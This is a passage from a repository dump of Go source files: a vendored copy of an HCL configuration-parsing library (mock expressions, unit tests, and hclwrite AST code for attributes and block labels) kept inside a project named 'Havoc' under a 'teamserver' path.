e.Range()\n}\n\n// Implementation for hcl.AbsTraversalForExpr and hcl.RelTraversalForExpr.\nfunc (e mockExprVariable) AsTraversal() hcl.Traversal {\n    return hcl.Traversal{\n        hcl.TraverseRoot{\n            Name:     string(e),\n            SrcRange: e.Range(),\n        },\n    }\n}\n\n// MockExprTraversal returns a hcl.Expression that evaluates the given\n// absolute traversal.\nfunc MockExprTraversal(traversal hcl.Traversal) hcl.Expression {\n    return mockExprTraversal{\n        Traversal: traversal,\n    }\n}\n\n// MockExprTraversalSrc is like MockExprTraversal except it takes a\n// traversal string as defined by the native syntax and parses it first.\n//\n// This method is primarily for testing with hard-coded traversal strings, so\n// it will panic if the given string is not syntactically correct.\nfunc MockExprTraversalSrc(src string) hcl.Expression {\n    traversal, diags := hclsyntax.ParseTraversalAbs([]byte(src), \"MockExprTraversal\", hcl.Pos{})\n    if diags.HasErrors() {\n        panic(\"invalid traversal string\")\n    }\n    return MockExprTraversal(traversal)\n}\n\ntype mockExprTraversal struct {\n    Traversal hcl.Traversal\n}\n\nfunc (e mockExprTraversal) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return e.Traversal.TraverseAbs(ctx)\n}\n\nfunc (e mockExprTraversal) Variables() []hcl.Traversal {\n    return []hcl.Traversal{e.Traversal}\n}\n\nfunc (e mockExprTraversal) Range() hcl.Range {\n    return e.Traversal.SourceRange()\n}\n\nfunc (e mockExprTraversal) StartRange() hcl.Range {\n    return e.Range()\n}\n\n// Implementation for hcl.AbsTraversalForExpr and hcl.RelTraversalForExpr.\nfunc (e mockExprTraversal) AsTraversal() hcl.Traversal {\n    return e.Traversal\n}\n\nfunc MockExprList(exprs []hcl.Expression) hcl.Expression {\n    return mockExprList{\n        Exprs: exprs,\n    }\n}\n\ntype mockExprList struct {\n    Exprs []hcl.Expression\n}\n\nfunc (e mockExprList) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    if len(e.Exprs) == 0 {\n        return cty.ListValEmpty(cty.DynamicPseudoType), nil\n    }\n    vals := make([]cty.Value, 0, len(e.Exprs))\n    var diags hcl.Diagnostics\n\n    for _, expr := range e.Exprs {\n        val, valDiags := expr.Value(ctx)\n        diags = append(diags, valDiags...)\n        vals = append(vals, val)\n    }\n\n    return cty.ListVal(vals), diags\n}\n\nfunc (e mockExprList) Variables() []hcl.Traversal {\n    var traversals []hcl.Traversal\n    for _, expr := range e.Exprs {\n        traversals = append(traversals, expr.Variables()...)\n    }\n    return traversals\n}\n\nfunc (e mockExprList) Range() hcl.Range {\n    return hcl.Range{\n        Filename: \"MockExprList\",\n    }\n}\n\nfunc (e mockExprList) StartRange() hcl.Range {\n    return e.Range()\n}\n\n// Implementation for hcl.ExprList\nfunc (e mockExprList) ExprList() []hcl.Expression {\n    return e.Exprs\n}\n\n// MockAttrs constructs and returns a hcl.Attributes map with attributes\n// derived from the given expression map.\n//\n// Each entry in the map becomes an attribute whose name is the key and\n// whose expression is the value.\nfunc MockAttrs(exprs map[string]hcl.Expression) hcl.Attributes {\n    ret := make(hcl.Attributes)\n    for name, expr := range exprs {\n        ret[name] = &hcl.Attribute{\n            Name: name,\n            Expr: expr,\n            Range: hcl.Range{\n                Filename: \"MockAttrs\",\n            },\n            NameRange: hcl.Range{\n                Filename: \"MockAttrs\",\n            },\n        }\n    }\n    return ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcltest/mock_test.go",
    "content": "package hcltest\n\nimport (\n    \"strings\"\n    \"testing\"\n\n    \"reflect\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nvar mockBodyIsBody hcl.Body = mockBody{}\nvar mockExprLiteralIsExpr hcl.Expression = mockExprLiteral{}\nvar mockExprVariableIsExpr hcl.Expression = mockExprVariable(\"\")\n\nfunc TestMockBodyPartialContent(t *testing.T) {\n    tests := map[string]struct {\n        In        *hcl.BodyContent\n        Schema    *hcl.BodySchema\n        Want      *hcl.BodyContent\n        Remain    *hcl.BodyContent\n        DiagCount int\n    }{\n        \"empty\": {\n            &hcl.BodyContent{},\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            0,\n        },\n        \"attribute requested\": {\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"name\": MockExprLiteral(cty.StringVal(\"Ermintrude\")),\n                }),\n            },\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"name\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"name\": MockExprLiteral(cty.StringVal(\"Ermintrude\")),\n                }),\n                Blocks: hcl.Blocks{},\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            0,\n        },\n        \"attribute remains\": {\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"name\": MockExprLiteral(cty.StringVal(\"Ermintrude\")),\n                }),\n            },\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"name\": MockExprLiteral(cty.StringVal(\"Ermintrude\")),\n                }),\n                Blocks: hcl.Blocks{},\n            },\n            0,\n        },\n        \"attribute missing\": {\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n            },\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name:     \"name\",\n                        Required: true,\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            1, // missing attribute \"name\"\n        },\n        \"block requested, no labels\": {\n            &hcl.BodyContent{\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            0,\n        },\n        \"block requested, wrong labels\": {\n            &hcl.BodyContent{\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            &hcl.BodySchema{\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type:       \"baz\",\n                        LabelNames: []string{\"foo\"},\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            1, // \"baz\" requires 1 label\n        },\n        \"block remains\": {\n            &hcl.BodyContent{\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            &hcl.BodySchema{},\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks:     hcl.Blocks{},\n            },\n            &hcl.BodyContent{\n                Attributes: hcl.Attributes{},\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            0,\n        },\n        \"various\": {\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"name\": MockExprLiteral(cty.StringVal(\"Ermintrude\")),\n                    \"age\":  MockExprLiteral(cty.NumberIntVal(32)),\n                }),\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                    {\n                        Type:   \"bar\",\n                        Labels: []string{\"foo1\"},\n                    },\n                    {\n                        Type:   \"bar\",\n                        Labels: []string{\"foo2\"},\n                    },\n                },\n            },\n            &hcl.BodySchema{\n                Attributes: []hcl.AttributeSchema{\n                    {\n                        Name: \"name\",\n                    },\n                },\n                Blocks: []hcl.BlockHeaderSchema{\n                    {\n                        Type:       \"bar\",\n                        LabelNames: []string{\"name\"},\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"name\": MockExprLiteral(cty.StringVal(\"Ermintrude\")),\n                }),\n                Blocks: hcl.Blocks{\n                    {\n                        Type:   \"bar\",\n                        Labels: []string{\"foo1\"},\n                    },\n                    {\n                        Type:   \"bar\",\n                        Labels: []string{\"foo2\"},\n                    },\n                },\n            },\n            &hcl.BodyContent{\n                Attributes: MockAttrs(map[string]hcl.Expression{\n                    \"age\": MockExprLiteral(cty.NumberIntVal(32)),\n                }),\n                Blocks: hcl.Blocks{\n                    {\n                        Type: \"baz\",\n                    },\n                },\n            },\n            0,\n        },\n    }\n\n    for name, test := range tests {\n        t.Run(name, func(t *testing.T) {\n            inBody := MockBody(test.In)\n            got, remainBody, diags := inBody.PartialContent(test.Schema)\n            if len(diags) != test.DiagCount {\n                t.Errorf(\"wrong number of diagnostics %d; want %d\", len(diags), test.DiagCount)\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag)\n                }\n            }\n\n            if !reflect.DeepEqual(got, test.Want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.Want)\n            }\n\n            gotRemain := remainBody.(mockBody).C\n            if !reflect.DeepEqual(gotRemain, test.Remain) {\n                t.Errorf(\"wrong remain\\ngot:  %#v\\nwant: %#v\", gotRemain, test.Remain)\n            }\n        })\n    }\n}\n\nfunc TestExprList(t *testing.T) {\n    tests := map[string]struct {\n        In    hcl.Expression\n        Want  []hcl.Expression\n        Diags string\n    }{\n        \"as list\": {\n            In: MockExprLiteral(cty.ListVal([]cty.Value{\n                cty.StringVal(\"foo\"),\n                cty.StringVal(\"bar\"),\n            })),\n            Want: []hcl.Expression{\n                MockExprLiteral(cty.StringVal(\"foo\")),\n                MockExprLiteral(cty.StringVal(\"bar\")),\n            },\n        },\n        \"as tuple\": {\n            In: MockExprLiteral(cty.TupleVal([]cty.Value{\n                cty.StringVal(\"foo\"),\n                cty.StringVal(\"bar\"),\n            })),\n            Want: []hcl.Expression{\n                MockExprLiteral(cty.StringVal(\"foo\")),\n                MockExprLiteral(cty.StringVal(\"bar\")),\n            },\n        },\n        \"not list\": {\n            In: MockExprLiteral(cty.ObjectVal(map[string]cty.Value{\n                \"a\": cty.StringVal(\"foo\"),\n                \"b\": cty.StringVal(\"bar\"),\n            })),\n            Want:  nil,\n            Diags: \"list expression is required\",\n        },\n    }\n\n    for name, tc := range tests {\n        t.Run(name, func(t *testing.T) {\n            got, diags := hcl.ExprList(tc.In)\n            if tc.Diags != \"\" {\n                if diags.HasErrors() && !strings.Contains(diags.Error(), tc.Diags) {\n                    t.Errorf(\"expected error %q, got %q\", tc.Diags, diags)\n                }\n                if !diags.HasErrors() {\n                    t.Errorf(\"expected diagnostic message %q\", tc.Diags)\n                }\n            } else if diags.HasErrors() {\n                t.Error(diags)\n            }\n\n            if !reflect.DeepEqual(got, tc.Want) {\n                t.Errorf(\"incorrect expression,\\ngot:  %#v\\nwant: %#v\", got, tc.Want)\n            }\n        })\n    }\n}\n\nfunc TestExprMap(t *testing.T) {\n    tests := map[string]struct {\n        In    hcl.Expression\n        Want  []hcl.KeyValuePair\n        Diags string\n    }{\n        \"as object\": {\n            In: MockExprLiteral(cty.ObjectVal(map[string]cty.Value{\n                \"name\":  cty.StringVal(\"test\"),\n                \"count\": cty.NumberIntVal(2),\n            })),\n            Want: []hcl.KeyValuePair{\n                {\n                    Key:   MockExprLiteral(cty.StringVal(\"count\")),\n                    Value: MockExprLiteral(cty.NumberIntVal(2)),\n                },\n                {\n                    Key:   MockExprLiteral(cty.StringVal(\"name\")),\n                    Value: MockExprLiteral(cty.StringVal(\"test\")),\n                },\n            },\n        },\n        \"as map\": {\n            In: MockExprLiteral(cty.MapVal(map[string]cty.Value{\n                \"name\":    cty.StringVal(\"test\"),\n                \"version\": cty.StringVal(\"2.0.0\"),\n            })),\n            Want: []hcl.KeyValuePair{\n                {\n                    Key:   MockExprLiteral(cty.StringVal(\"name\")),\n                    Value: MockExprLiteral(cty.StringVal(\"test\")),\n                },\n                {\n                    Key:   MockExprLiteral(cty.StringVal(\"version\")),\n                    Value: MockExprLiteral(cty.StringVal(\"2.0.0\")),\n                },\n            },\n        },\n        \"not map\": {\n            In: MockExprLiteral(cty.ListVal([]cty.Value{\n                cty.StringVal(\"foo\"),\n                cty.StringVal(\"bar\"),\n            })),\n            Want:  nil,\n            Diags: \"map expression is required\",\n        },\n    }\n\n    for name, tc := range tests {\n        t.Run(name, func(t *testing.T) {\n            got, diags := hcl.ExprMap(tc.In)\n            if tc.Diags != \"\" {\n                if diags.HasErrors() && !strings.Contains(diags.Error(), tc.Diags) {\n                    t.Errorf(\"expected error %q, got %q\", tc.Diags, diags)\n                }\n                if !diags.HasErrors() {\n                    t.Errorf(\"expected diagnostic message %q\", tc.Diags)\n                }\n            } else if diags.HasErrors() {\n                t.Error(diags)\n            }\n\n            if !reflect.DeepEqual(got, tc.Want) {\n                t.Errorf(\"incorrect expression,\\ngot:  %#v\\nwant: %#v\", got, tc.Want)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast.go",
    "content": "package hclwrite\n\nimport (\n\t\"bytes\"\n\t\"io\"\n)\n\ntype File struct {\n\tinTree\n\n\tsrcBytes []byte\n\tbody     *node\n}\n\n// NewEmptyFile constructs a new file with no content, ready to be mutated\n// by other calls that append to its body.\nfunc NewEmptyFile() *File {\n\tf := &File{\n\t\tinTree: newInTree(),\n\t}\n\tbody := newBody()\n\tf.body = f.children.Append(body)\n\treturn f\n}\n\n// Body returns the root body of the file, which contains the top-level\n// attributes and blocks.\nfunc (f *File) Body() *Body {\n\treturn f.body.content.(*Body)\n}\n\n// WriteTo writes the tokens underlying the receiving file to the given writer.\n//\n// The tokens first have a simple formatting pass applied that adjusts only\n// the spaces between them.\nfunc (f *File) WriteTo(wr io.Writer) (int64, error) {\n\ttokens := f.inTree.children.BuildTokens(nil)\n\tformat(tokens)\n\treturn tokens.WriteTo(wr)\n}\n\n// Bytes returns a buffer containing the source code resulting from the\n// tokens underlying the receiving file. If any updates have been made via\n// the AST API, these will be reflected in the result.\nfunc (f *File) Bytes() []byte {\n\tbuf := &bytes.Buffer{}\n\tf.WriteTo(buf)\n\treturn buf.Bytes()\n}\n\ntype comments struct {\n\tleafNode\n\n\tparent *node\n\ttokens Tokens\n}\n\nfunc newComments(tokens Tokens) *comments {\n\treturn &comments{\n\t\ttokens: tokens,\n\t}\n}\n\nfunc (c *comments) BuildTokens(to Tokens) Tokens {\n\treturn c.tokens.BuildTokens(to)\n}\n\ntype identifier struct {\n\tleafNode\n\n\tparent *node\n\ttoken  *Token\n}\n\nfunc newIdentifier(token *Token) *identifier {\n\treturn &identifier{\n\t\ttoken: token,\n\t}\n}\n\nfunc (i *identifier) BuildTokens(to Tokens) Tokens {\n\treturn append(to, i.token)\n}\n\nfunc (i *identifier) hasName(name string) bool {\n\treturn name == string(i.token.Bytes)\n}\n\ntype number struct {\n\tleafNode\n\n\tparent *node\n\ttoken  *Token\n}\n\nfunc newNumber(token *Token) *number {\n\treturn &number{\n\t\ttoken: token,\n\t}\n}\n\nfunc (n *number) BuildTokens(to Tokens) Tokens {\n\treturn append(to, n.token)\n}\n\ntype quoted struct {\n\tleafNode\n\n\tparent *node\n\ttokens Tokens\n}\n\nfunc newQuoted(tokens Tokens) *quoted {\n\treturn &quoted{\n\t\ttokens: tokens,\n\t}\n}\n\nfunc (q *quoted) BuildTokens(to Tokens) Tokens {\n\treturn q.tokens.BuildTokens(to)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_attribute.go",
    "content": "package hclwrite\n\nimport (\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\ntype Attribute struct {\n    inTree\n\n    leadComments *node\n    name         *node\n    expr         *node\n    lineComments *node\n}\n\nfunc newAttribute() *Attribute {\n    return &Attribute{\n        inTree: newInTree(),\n    }\n}\n\nfunc (a *Attribute) init(name string, expr *Expression) {\n    expr.assertUnattached()\n\n    nameTok := newIdentToken(name)\n    nameObj := newIdentifier(nameTok)\n    a.leadComments = a.children.Append(newComments(nil))\n    a.name = a.children.Append(nameObj)\n    a.children.AppendUnstructuredTokens(Tokens{\n        {\n            Type:  hclsyntax.TokenEqual,\n            Bytes: []byte{'='},\n        },\n    })\n    a.expr = a.children.Append(expr)\n    a.expr.list = a.children\n    a.lineComments = a.children.Append(newComments(nil))\n    a.children.AppendUnstructuredTokens(Tokens{\n        {\n            Type:  hclsyntax.TokenNewline,\n            Bytes: []byte{'\\n'},\n        },\n    })\n}\n\nfunc (a *Attribute) Expr() *Expression {\n    return a.expr.content.(*Expression)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_block.go",
    "content": "package hclwrite\n\nimport (\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype Block struct {\n    inTree\n\n    leadComments *node\n    typeName     *node\n    labels       *node\n    open         *node\n    body         *node\n    close        *node\n}\n\nfunc newBlock() *Block {\n    return &Block{\n        inTree: newInTree(),\n    }\n}\n\n// NewBlock constructs a new, empty block with the given type name and labels.\nfunc NewBlock(typeName string, labels []string) *Block {\n    block := newBlock()\n    block.init(typeName, labels)\n    return block\n}\n\nfunc (b *Block) init(typeName string, labels []string) {\n    nameTok := newIdentToken(typeName)\n    nameObj := newIdentifier(nameTok)\n    b.leadComments = b.children.Append(newComments(nil))\n    b.typeName = b.children.Append(nameObj)\n    labelsObj := newBlockLabels(labels)\n    b.labels = b.children.Append(labelsObj)\n    b.open = b.children.AppendUnstructuredTokens(Tokens{\n        {\n            Type:  hclsyntax.TokenOBrace,\n            Bytes: []byte{'{'},\n        },\n        {\n            Type:  hclsyntax.TokenNewline,\n            Bytes: []byte{'\\n'},\n        },\n    })\n    body := newBody() // initially totally empty; caller can append to it subsequently\n    b.body = b.children.Append(body)\n    b.close = b.children.AppendUnstructuredTokens(Tokens{\n        {\n            Type:  hclsyntax.TokenCBrace,\n            Bytes: []byte{'}'},\n        },\n        {\n            Type:  hclsyntax.TokenNewline,\n            Bytes: []byte{'\\n'},\n        },\n    })\n}\n\n// Body returns the body that represents the content of the receiving block.\n//\n// Appending to or otherwise modifying this body will make changes to the\n// tokens that are generated between the blocks open and close braces.\nfunc (b *Block) Body() *Body {\n    return b.body.content.(*Body)\n}\n\n// Type returns the type name of the block.\nfunc (b *Block) Type() string {\n    typeNameObj := b.typeName.content.(*identifier)\n    return string(typeNameObj.token.Bytes)\n}\n\n// SetType updates the type name of the block to a given name.\nfunc (b *Block) SetType(typeName string) {\n    nameTok := newIdentToken(typeName)\n    nameObj := newIdentifier(nameTok)\n    b.typeName.ReplaceWith(nameObj)\n}\n\n// Labels returns the labels of the block.\nfunc (b *Block) Labels() []string {\n    return b.labelsObj().Current()\n}\n\n// SetLabels updates the labels of the block to given labels.\n// Since we cannot assume that old and new labels are equal in length,\n// remove old labels and insert new ones before TokenOBrace.\nfunc (b *Block) SetLabels(labels []string) {\n    b.labelsObj().Replace(labels)\n}\n\n// labelsObj returns the internal node content representation of the block\n// labels. This is not part of the public API because we're intentionally\n// exposing only a limited API to get/set labels on the block itself in a\n// manner similar to the main hcl.Block type, but our block accessors all\n// use this to get the underlying node content to work with.\nfunc (b *Block) labelsObj() *blockLabels {\n    return b.labels.content.(*blockLabels)\n}\n\ntype blockLabels struct {\n    inTree\n\n    items nodeSet\n}\n\nfunc newBlockLabels(labels []string) *blockLabels {\n    ret := &blockLabels{\n        inTree: newInTree(),\n        items:  newNodeSet(),\n    }\n\n    ret.Replace(labels)\n    return ret\n}\n\nfunc (bl *blockLabels) Replace(newLabels []string) {\n    bl.inTree.children.Clear()\n    bl.items.Clear()\n\n    for _, label := range newLabels {\n        labelToks := TokensForValue(cty.StringVal(label))\n        // Force a new label to use the quoted form, which is the idiomatic\n        // form. The unquoted form is supported in HCL 2 only for compatibility\n        // with historical use in HCL 1.\n        labelObj := newQuoted(labelToks)\n        labelNode := bl.children.Append(labelObj)\n        bl.items.Add(labelNode)\n    }\n}\n\nfunc (bl *blockLabels) Current() []string {\n    labelNames := make([]string, 0, len(bl.items))\n    list := bl.items.List()\n\n    for _, label := range list {\n        switch labelObj := label.content.(type) {\n        case *identifier:\n            if labelObj.token.Type == hclsyntax.TokenIdent {\n                labelString := string(labelObj.token.Bytes)\n                labelNames = append(labelNames, labelString)\n            }\n\n        case *quoted:\n            tokens := labelObj.tokens\n            if len(tokens) == 3 &&\n                tokens[0].Type == hclsyntax.TokenOQuote &&\n                tokens[1].Type == hclsyntax.TokenQuotedLit &&\n                tokens[2].Type == hclsyntax.TokenCQuote {\n                // Note that TokenQuotedLit may contain escape sequences.\n                labelString, diags := hclsyntax.ParseStringLiteralToken(tokens[1].asHCLSyntax())\n\n                // If parsing the string literal returns error diagnostics\n                // then we can just assume the label doesn't match, because it's invalid in some way.\n                if !diags.HasErrors() {\n                    labelNames = append(labelNames, labelString)\n                }\n            } else if len(tokens) == 2 &&\n                tokens[0].Type == hclsyntax.TokenOQuote &&\n                tokens[1].Type == hclsyntax.TokenCQuote {\n                // An open quote followed immediately by a closing quote is a\n                // valid but unusual blank string label.\n                labelNames = append(labelNames, \"\")\n            }\n\n        default:\n            // If neither of the previous cases are true (should be impossible)\n            // then we can just ignore it, because it's invalid too.\n        }\n    }\n\n    return labelNames\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_block_test.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/davecgh/go-spew/spew\"\n    \"github.com/google/go-cmp/cmp\"\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc TestBlockType(t *testing.T) {\n    tests := []struct {\n        src  string\n        want string\n    }{\n        {\n            `\nservice {\n  attr0 = \"val0\"\n}\n`,\n            \"service\",\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s\", test.want), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            block := f.Body().Blocks()[0]\n            got := string(block.Type())\n            if got != test.want {\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\", got, test.want)\n            }\n        })\n    }\n}\n\nfunc TestBlockLabels(t *testing.T) {\n    tests := []struct {\n        src  string\n        want []string\n    }{\n        {\n            `\nnolabel {\n}\n`,\n            []string{},\n        },\n        {\n            `\nquoted \"label1\" {\n}\n`,\n            []string{\"label1\"},\n        },\n        {\n            `\nquoted \"label1\" \"label2\" {\n}\n`,\n            []string{\"label1\", \"label2\"},\n        },\n        {\n            `\nquoted \"label1\" /* foo */ \"label2\" {\n}\n`,\n            []string{\"label1\", \"label2\"},\n        },\n        {\n            `\nunquoted label1 {\n}\n`,\n            []string{\"label1\"},\n        },\n        {\n            `\nunquoted label1 /* foo */ label2 {\n}\n`,\n            []string{\"label1\", \"label2\"},\n        },\n        {\n            `\nmixed label1 \"label2\" {\n}\n`,\n            []string{\"label1\", \"label2\"},\n        },\n        {\n            `\nescape \"\\u0041\" {\n}\n`,\n            []string{\"\\u0041\"},\n        },\n        {\n            `\nblank \"\" {\n}\n`,\n            []string{\"\"},\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s\", strings.Join(test.want, \" \")), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            block := f.Body().Blocks()[0]\n            got := block.Labels()\n            if !reflect.DeepEqual(got, test.want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n}\n\nfunc TestBlockSetType(t *testing.T) {\n    tests := []struct {\n        src         string\n        oldTypeName string\n        newTypeName string\n        labels      []string\n        want        Tokens\n    }{\n        {\n            \"foo {}\",\n            \"foo\",\n            \"bar\",\n            nil,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`bar`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s %s %s in %s\", test.oldTypeName, test.newTypeName, test.labels, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            b := f.Body().FirstMatchingBlock(test.oldTypeName, test.labels)\n            b.SetType(test.newTypeName)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n\nfunc TestBlockSetLabels(t *testing.T) {\n    tests := []struct {\n        src       string\n        typeName  string\n        oldLabels []string\n        newLabels []string\n        want      Tokens\n    }{\n        {\n            `foo \"hoge\" {}`,\n            \"foo\",\n            []string{\"hoge\"},\n            []string{\"fuga\"}, // update first label\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`fuga`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            `foo \"hoge\" \"fuga\" {}`,\n            \"foo\",\n            []string{\"hoge\", \"fuga\"},\n            []string{\"hoge\", \"piyo\"}, // update second label\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`hoge`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`piyo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            `foo {}`,\n            \"foo\",\n            []string{},\n            []string{\"fuga\"}, // insert a new label to empty list\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`fuga`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        